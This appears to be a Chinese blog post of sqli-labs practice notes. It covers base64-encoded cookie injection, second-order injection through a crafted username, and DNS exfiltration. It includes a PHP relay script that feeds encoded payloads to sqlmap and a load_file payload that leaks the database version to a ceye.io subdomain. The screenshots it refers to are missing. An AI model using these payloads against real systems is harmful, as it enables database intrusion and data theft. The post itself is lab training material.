sqli的21关:关于加密的注入
首先我们进入靶场 输入 admin admin 使用burpsuite进行抓包 可以看到返回的包 内 有cookie这一项


在这里选择base64加密
将cookie的值换成 加密后的


此处爆出当前数据库

实战中就是 先将要注入的语句进行加密 然后在进行注入 !!!
这里举一个 例子
比如 sh视频的地址

一看到== 就感觉像是base64加密 通过 burpsuite自带的软件进行解密

可以自己写一个php脚本 在本地端
<?php
$url='';
$payload=base64_encode ($_GET['x']);
file_get_contents($url+$payload);
?>
然后通过sqlmap跑

sql注入之:二次注入
在sql注入中 难免会遇到 addslashes函数 或者 get_magic_quotes_gpc过滤 会加上一些转义 但是在真正带入数据库进行查询的时候 还是原来的sql恶意语句 (不是带着转义字符的) 这总sql语句在开发者看来 就是安全的 过滤过得 在下一次进行查询的时候(其他任务)直接将这总恶意语句带入查询 形成二次sql注入

example:
比如我们在用户注册的时候 注册用户 admin' and 1=1 (注意:其中的and 1=1 可以换成任意 sql注入的恶意代码 形成一个类似定时炸弹的东西 ,)
得知数据库里面有一个用户名为a1的用户
这里创建用户a1'# 进行登陆


更改密码

发现a1的密码被更改了 为啥呢?

这里打开网站源代码

发现 原来用户是a1 注册的用户是a'# ,注册的时候没问题 因为:

但是在更改密码的时候发现

注册的时候留下的定时炸弹 用户名a1'# 相当于用了 单引号进行闭合 ' 然后 加上# 注释掉了后边的 代码
那么这条update语句就变成了 更改 a1的,密码了
关于 登陆的时候限制你输入的字符数量的 有两种方式 一种前端限制 可以通过 f12更改 input 标签里面的maxlength 属性进行绕过 如果是后端 没招 放弃吧!!!

更改!!

dns注入:
原因就是: 盲注跑数据跑的太慢了
把靶机的dns指定为我们的网站域名 通过 递归查询就可以获取数据库上面的信息了
首先 利用别人的服务器url为
http://ceye.io/
复制一下自己的 域名 手工注入的话 直接用这个

在mysql下 指定格式
select load_file(concat("\\\\",(select version()),".ukgz0p.ceye.io\\aaa"));

在query就能查询到version





